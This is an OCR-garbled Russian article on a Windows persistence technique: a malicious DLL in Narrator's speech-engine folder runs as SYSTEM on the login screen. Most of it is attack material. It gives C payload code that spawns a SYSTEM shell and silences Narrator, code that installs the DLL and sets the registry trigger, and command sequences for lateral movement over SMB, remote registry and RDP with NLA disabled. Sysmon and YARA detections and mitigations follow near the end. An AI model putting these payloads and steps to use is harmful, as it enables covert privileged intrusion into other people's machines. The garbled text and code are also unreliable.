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BBepmenue

Narrator.exe — BCTpOeHHHBIM 9KpaHHBIM AUKTOP Windows. IIpu 3amycke OH 3arpyzxaer
speech engine DLL u3 %swindir%s\system32\speech onecore\engines\tts\. Eciu
IIOAJIOXUTE TyAa cBoo DLL — Narrator BBIIIOJIHUT HAIl KOZ.

Hoqemy 9TO MOIIIHaA TeXHHKaA:

» SYSTEM persistence — uepe3 HKLM peecTtp Narrator 3anyckaeTcsi Ha 3KpaHe JIOTHHaA
kKak SYSTEM

e Het CVE — Microsoft cuutaet 3to «by design», He maTuut

» Paboraer Ha Win10/11 — 6ar ¢ 2013 ropa, o cux mop akTyaleH

» Lateral movement — gepes remote registry + RDP M0XHO TpUTTEPHYTH Ha YOAIEHHOU
MalllvHe

o Tuxuit — MoxkHO 3arnymuTh ronoc Narrator, mogBecus ero main thread

 JleruTUMHHH Ipouiecc — Narrator.exe nognucad Microsoft

1. Kax paboTaeT ya3BHUMOCTb



1.1 DLL Search Order B Narrator

Narrator.exe npu 3anycke wuwet speech engine DLL:

1. %windir%\System32\Speech OneCore\Engines\TTS\MSTTSLocEnUS.DLL
(vnn MSTTSLocOneCoreEnUS.dll — 3aBucut o1 Bepcunm Windows)

2. Ecnu DLL HampeHa - LoadLibrary - DllMain BbimonHseTcsa
3. Narrator paboTaeT B KOHTEKCTe 3anyCTMBLEro nosib3oBaTens
4. Ha sKpaHe norvHa - KOHTekcT SYSTEM!

Mpobnema:
- Oupektopus TTS cywecTtByeT u writable gns Administrators
- Narrator HE nposepset nopnucb DLL
- D1WMain sbinonHaetcs [0 nwbbiX npoBepok
- He HyXHbl HUKakue exports — pocTtaTtoyHo DllMain

1.2 Tpu ypoBHs persistence

YpoBeHb 1: User-level (HKCU)
Peectp: HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
3HaveHue: Configuration = "Narrator"
Pesynbtat: Narrator 3anyckaeTcd npu JIOroOHe TeKywero k3epa
KOHTEeKCT: TeKywuin nosb3oBaTesib

YpoBeHb 2: SYSTEM-level (HKLM) < cambii MOLLHBIN
Peectp: HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
3HayeHue: Configuration = "Narrator"
PesynbTaTt: Narrator 3anyckaetca Ha 3KPAHE JIOIMHA
KoHTekcT: NT AUTHORITY\SYSTEM!
NepexunBaeT: nepesarpysky, CMeHy napons, BCE

YpoBeHb 3: RDP Lateral Movement
1. Remote Registry - yctaHoButb HKLM Accessibility\Configuration =
"Narrator"
2. CkonuposaTtb malicious DLL 4yepe3s SMB B speech onecore\engines\tts\
3. RDP k MawuHe - Ctrl+Win+Enter Ha 3kKpaHe noruHa - Narrator



4. DLL BbinonHsetcs kak SYSTEM Ha ypanéHHOW MawwuHe!

2. Exploit — nomarosas 3KCIIyaTanusa

2.1 IlTar 1: Co3ganue payload DLL

// narrator payload.dll — BbinonHaetca npu 3arpy3ke Narrator
// Komnunsauusa: cl.exe /LD narrator payload.c /Fe:MSTTSLocEnUS.DLL
// BAXHO: wMma ¢danna ponxHo ObiTb MSTTSLocENnUS.DLL!

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)

{

if (reason == DLL PROCESS ATTACH) {

echo.",

// OTknw4daeMm thread notifications (He HyXHbl)
DisableThreadLibraryCalls (hModule);

// === Payload: 3anyckaeM cmd.exe kKak SYSTEM ===
STARTUPINFOA si = { sizeof(si) };

si.lpDesktop = "WinSta@\\Default";

// Ecnu Mbl Ha 3KpaHe noruHa — WinStaO\Winlogon
si.wShowWindow = SW SHOW;

si.dwFlags = STARTF USESHOWWINDOW;

PROCESS INFORMATION pi = { 0 };
CreateProcessA(NULL,
“cmd.exe /K echo === Narrator DLL Hijack === && whoami &&

NULL, NULL, FALSE, CREATE NEW CONSOLE,
NULL, NULL, &si, &pi);

if (pi.hProcess) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);



// Suspend Narrator main thread 4To6bl 3arnywuTb ronoc
// be3 3Ttoro Narrator Ha4yHET 4uTaTb 3KpPaH BCNYX
HANDLE hThread = OpenThread (THREAD SUSPEND RESUME,
FALSE, GetCurrentThreadId());
// He moxem suspend cBou thread u3 D1l1Main
// BMecTo 3Toro: co3pmaém thread kotopbii suspend'unt Narrator
CreateThread(NULL, O, (LPTHREAD START ROUTINE)SuspendNarrator,
NULL, O, NULL);
¥
return TRUE;

}

// Totok KoTopei raywnT Narrator yepe3 1 cekyHay
DWORD WINAPI SuspendNarrator(LPVOID param) {

Sleep(1000);

// Haxogum main thread Narrator u suspend'wum

DWORD pid = GetCurrentProcessId();

HANDLE hSnap = CreateToolhelp32Snapshot(0x00000004 /*
TH32CS SNAPTHREAD */, 0);

if (hSnap != INVALID HANDLE VALUE) {

THREADENTRY32 te = { sizeof(te) };

// ... enumerate threads of current process
// SuspendThread(mainThread) — 3arnywaet ronoc
CloseHandle(hSnap);
}
return 0;
}
2.2 IIar 2: YcranoBka DLL

// Konupyem DLL B pupekTopuw speech engine
// Tpebyet: Administrator (3anucb B System32)

// UeneBon nyTb:
// C:\Windows\System32\Speech OneCore\Engines\TTS\MSTTSLocEnUS.DLL

// TlpoBepsaeM cywecTBOBaHWe OUPEKTOpUu
// Ecnun HeT — co3paéMm (mkdir)



void InstallDLL(const char* dllPath) {
// UeneBon nyTb
char targetDir[] =

"C:\\Windows\\System32\\Speech OneCore\\Engines\\TTS";
char targetPath[MAX PATH];

// Co3paéM OupeKTopui ecniu He cyuwecTteyeT

CreateDirectoryA("C:\\Windows\\System32\\Speech OneCore", NULL);

CreateDirectoryA("C:\\Windows\\System32\\Speech OneCore\\Engines",
NULL) ;

CreateDirectoryA(targetDir, NULL);

sprintf s(targetPath, sizeof(targetPath),
"%S\\MSTTSLocEnUS.DLL", targetDir);

// KonupyeM Hawy DLL
if (CopyFileA(dllPath, targetPath, FALSE)) {
printf(“[+] DLL installed: %s\n", targetPath);
} else {
printf("[-] Copy failed: %d (need admin)\n", GetLastError());
}
}

2.3 Illar 3: YcTraHOBKa persistence yepes peecTp

// HKCU = user-level persistence (npu noroxe)
// HKLM = SYSTEM persistence (Ha 3KpaHe sioruHa!)

void SetPersistence(BOOL systemLevel) {
HKEY root = systemLevel ? HKEY LOCAL MACHINE : HKEY CURRENT USER;
const char* keyPath = "Software\\Microsoft\\Windows
NT\\CurrentVersion\\Accessibility";

HKEY hKey;
RegCreateKeyExA(root, keyPath, 0, NULL, O,
KEY SET VALUE, NULL, &hKey, NULL);

// "Configuration" = "parrator" - 3anyckaet Narrator npu



noroHe/boot
RegSetValueExA(hKey, "Configuration", 0, REG SZ,
(BYTE*)"narrator", 9);

RegCloseKey (hKey) ;

printf("[+] Persistence set (%s)\n",
systemLevel ? "SYSTEM — login screen" : "User — at logon");

}
2.4 Illar 4: Lateral Movement uepe3 Remote Registry

// YpanéHHana ycTaHoBka: Registry + SMB + RDP trigger

// War 1: Konupyem DLL 4yepes SMB
// copy MSTTSLocEnUS.DLL
\\TARGET\C$\Windows\System32\Speech OneCore\Engines\TTS\

// lWar 2: Remote Registry — Bknw4yaeM Narrator Ha NnOruH-skpaHe
// reg add \\TARGET\HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility

// /v Configuration /t REG SZ /d "narrator" /f

// lWar 3: (onuuoHanbHo) OTknMwyaeM NLA pna RDP

// YT06bl OOWTM OO 3KpaHa norvHa 6e3 ayTeHTUdUKauuUK:

// reg add \\TARGET\HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp

// /v Securitylayer /t REG DWORD /d 0 /f

// War 4: RDP k TARGET - Ha 3kpaHe noruHa - Ctrl+Win+Enter
// - Narrator 3anyckaeTca - 3arpyxaet Hawy DLL - SYSTEM shell!

3. ITonanii Exploit Flow

=== Local Persistence (HyxeH admin) ===



1. cl /LD payload.c /Fe:MSTTSLocEnUS.DLL
2. copy MSTTSLocEnUS.DLL
C:\Windows\System32\Speech OneCore\Engines\TTS\
3. reg add "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility"
/v Configuration /t REG SZ /d "narrator" /f
4. [lepe3arpy3ka - Ha 3KpaHe noruHa Narrator 3anyckaetcd - DLL -
SYSTEM!

=== Remote Lateral Movement ===

1. net use \\TARGET\C$ /user:DOMAIN\admin password
2. copy MSTTSLocEnUS.DLL
\\TARGET\C$\Windows\System32\Speech OneCore\Engines\TTS\
3. reg add \\TARGET\HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Accessibility
/v Configuration /t REG SZ /d "narrator" /f
4. reg add \\TARGET\HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp
/v SecuritylLayer /t REG DWORD /d 0 /f
5. mstsc /v:TARGET - login screen - Ctrl+Win+Enter - SYSTEM!

4. Ipyrue Accessibility Features mna hijack

Narrator — He eOUWHCTBEHHbIN:

Mpor pamma Peectp/Trigger DLL Path
Narrator.exe Configuration="narrator"

speech onecore\engines\tts\*.dll

Magnify.exe Configuration="magnifierpane"

Magnification.dll

On-Screen Keyboard Configuration="osk" pa3nuyHole DLL
Sticky Keys 5x Shift Ha login screen sethc.exe
3aMeHa

Utility Manager Win+U Ha login screen utilman.exe



3aMEHa

Knaccunyeckun backdoor (3ameHa .exe):
3aMeHnTb C:\Windows\System32\sethc.exe Ha cmd.exe
5x Shift Ha login screen - cmd.exe as SYSTEM
(paboTtaet ecnu Het file integrity protection)

5. Silent Execution — 6e3 3Byka

// MNpobnema: Narrator HayMHaeT roBopuTb — MONb30OBaTeSlb 3aMevaeTr
// Pewenne: suspend main thread Narrator nocne 3arpy3ku DLL

#include <windows.h>
#include <tlhelp32.h>

DWORD WINAPI SilenceNarrator(LPVOID param) {
Sleep(500); // Xpém noka Narrator umHuumanu3aunpyertcs

DWORD myPid = GetCurrentProcessId();
DWORD myTid = GetCurrentThreadId();

HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };

if (Thread32First(hSnap, &te)) {
do {
// Suspend Bce notoku Narrator KPOME Hawero
if (te.th320wnerProcessID == myPid && te.th32ThreadID !=
myTid) A
HANDLE hThread = OpenThread (THREAD SUSPEND RESUME,
FALSE, te.th32ThreadID);
if (hThread) {
SuspendThread(hThread) ;
CloseHandle(hThread) ;



} while (Thread32Next(hSnap, &te));

}
CloseHandle(hSnap);

// Narrator 3arnyweH — payload paboTtaeT Tuxo
return 0;

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
if (reason == DLL PROCESS ATTACH) {
DisableThreadLibraryCalls(hModule);

// TnywvMm Narrator B oTOenbHOM MOTOKE
CreateThread(NULL, 0, SilenceNarrator, NULL, O, NULL);

// Payload 3pecb
// ...

}
return TRUE;

6. [IeTeKT u 3aluTa

6.1 Sysmon Rules

Event ID 11 (File Create):
TargetFilename: *\Speech OneCore\Engines\TTS\*.dll
- Hosas DLL B pupekTtopunm speech engine!

Event ID 7 (Image Loaded):
Image: *\Narrator.exe
ImagelLoaded: NOT *\Speech OneCore\* AND NOT *\System32\*.d1l1l
- Narrator 3arpy3un HecTtaHpapTHyw DLL

Event ID 13 (Registry Value Set):



TargetObject: *\Accessibility\Configuration
Details: "narrator"
- KT10-T0 BKN4un Narrator B aBTo3anyck

Event ID 1 (Process Create):
ParentImage: *\Narrator.exe
Image: *\cmd.exe OR *\powershell.exe
- Narrator nopoxgaeT mogo3puTesNibHbIM npouecc

6.2 YARA Rule
rule Narrator DLL Hijack Payload {
meta:
description = "Detects malicious DLL in Narrator speech engine
path"
author = "Aka Tor"
strings:
$pathl = "Speech OneCore" ascii wide nocase
$path2 = "MSTTSLoc" ascii wide nocase
$apil = "CreateProcessA" ascii
$api2 = "WinExec" ascii
$api3 = "ShellExecute" ascii
$cmdl = "cmd.exe" ascili wide nocase
$cmd2 = "powershell" ascii wide nocase
condition:

uintle(0) == Ox5A4D and
($pathl or $path2) and
($apil or $api2 or $api3) and
($cmdl or $cmd2)

}

6.3 Mitigation

« ACL hardening: 3anpetuts 3anuch B Speech OneCore\Engines\TTS mns Bcex
kpome TrustedInstaller

e GPO: otkmiouuth Ease of Access Ha 3KpaHe JIOTHHA

« File integrity monitoring: MmoruTopunr usmenenuii B System32\Speech OneCore



e Sysmon: npaBuia Ha co3ganue gpaunos B TTS gupekrtopuu

» AppLocker/WDAC: whitelist DLL mnst Narrator

« Disable Narrator at login: reg delete "HKLM\...\Accessibility" /v
Configuration /f

» NLA gnsa RDP: He oTkmodats SecurityLayer — 61okupyet remote trigger

7. MITRE ATT&CK

OTan Technique ID
Persistence Event Triggered Execution: Accessibility Features T1546.008
Persistence Hijack Execution Flow: DLL Search Order Hijacking T1574.001
Privilege Escalation Accessibility Features (SYSTEM at login) T1546.008
Defense Evasion =~ Masquerading: Match Legitimate Name T1036.005
Lateral Movement Remote Services: RDP T1021.001
Lateral Movement Windows Admin Shares T1021.002

8. PexoMenpamuu

IIns Red Team

e Narrator DLL hijack = persistence 6e3 autorun, 6e3 scheduled tasks, 6e3 services
e HKLM nyts = SYSTEM Ha login screen — nepexuBaeT mepe3arpy3ky

e Suspend Narrator threads gns silent execution

» Lateral movement: SMB + Remote Registry + RDP trigger

e Hetr CVE - HeT naTua — paboTaet Ha Bcex Windows 10/11

IIns Blue Team

o MonuTopusr Speech OneCore\Engines\TTS — mio6oi HOBLIHM DLL daiin = alert

 Registry audit: HKLM\ . . .\Accessibility\Configuration = «narrator»
IIOJI03PUTEIHHO

o ACL: 3anpetuts 3anuch B TTS gupekTopuio

» GPO: otkmounTth Ease of Access Ha login screen

» NLA o6si3aTensHO 111 RDP — Grokupyet remote trigger



3aKmo4YeHue

Narrator DLL Hijack — 9T0 Texnuka persistence Kkotopas He OymeT 3anardeHa. Microsoft
cunuTaet 3T0 «by design» — accessibility features momxHubI 3arpyxaTth speech engines. bar
cymectByeT ¢ 2013 roma u paboTtaeT Ha Kaxmou Bepcuu Windows Bkitouas 11 24H2.

[I71s1 aTaKyIomuX 3TO uaeanbHbld backdoor: neruTuMHBIN MOgIKACaHHBIN ITpoliecc, SYSTEM
Ha login screen, lateral movement yepe3 RDP, 1 Hu 0@HOTO MOJO3PUTENBHOTO autorun entry
B CTAHJAPTHBIX MeCTaX.

[l 3aIIUTHUKOB eQUHCTBEeHHEIN cioco0 — file integrity monitoring Ha Speech OneCore
mupekTopuio u ACL hardening.

Irucknermep: Mateprail IpegocTaBieH HCKIIOYHTE/IEHO B 00Pa30BaTe/IbHEIX LIE/ISX /IS
crieqHaIuCTOB M0 HHPOPMAIJHOHHOH 0e30aCHOCTH. HCIo/Ip3yHTe Mo/TyYeHHbIe 3HAHH A
TOJIBKO B paMKaxX aBTOPH30BAHHOT'O TECTHPOBAHHSA Ha IPOHUKHOBEHHE H 3aII[HTHI

HHQPAaCTPYKTYDEL



